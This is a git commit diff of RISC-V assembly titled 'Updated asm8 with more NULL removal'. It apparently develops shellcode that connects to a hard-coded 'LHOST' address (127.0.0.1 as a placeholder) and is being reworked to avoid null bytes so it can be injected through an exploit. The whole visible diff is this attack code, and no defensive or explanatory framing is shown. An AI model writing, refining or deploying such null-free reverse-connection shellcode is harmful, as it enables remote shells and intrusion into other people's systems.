b3f0ef13e52293ea9d7739206e07cafa147a4cfe — terrorbyte 2 years ago dd76cff
Updated asm8 with more NULL removal
1 files changed, 7 insertions(+), 3 deletions(-)

M src/asm8.s
M src/asm8.s => src/asm8.s +7 -3
@@ 88,8 88,9 @@ _start:
	addi sp,sp,-4
	xor a3,a7,a7
	addi a3,a6,0x0073
	sd a3,0(sp) #<
	xor a6,a7,a7
	addi a6,a6,0x0073
	sd a6,0(sp)
	xor a3,a7,a7
	li a3,0x8067 #<
	sd a3,4(sp)

@@ 113,7 114,10 @@ _start:
	li a7,0x100007f # - LHOST, this will need some logic too fix the fact that null's can exist
	sd a7,4(sp)
	xor a1,a7,a7
	or a1,a1,sp #TODO sp seems to break or
	xori a1,sp,0x010
	addi a1,a1,0x010
	#or a1,a1,sp #TODO sp seems to break or
	#a2 is already 0 from above
	addi a2,a2,0xf0
	addi a2,a2,-0xe0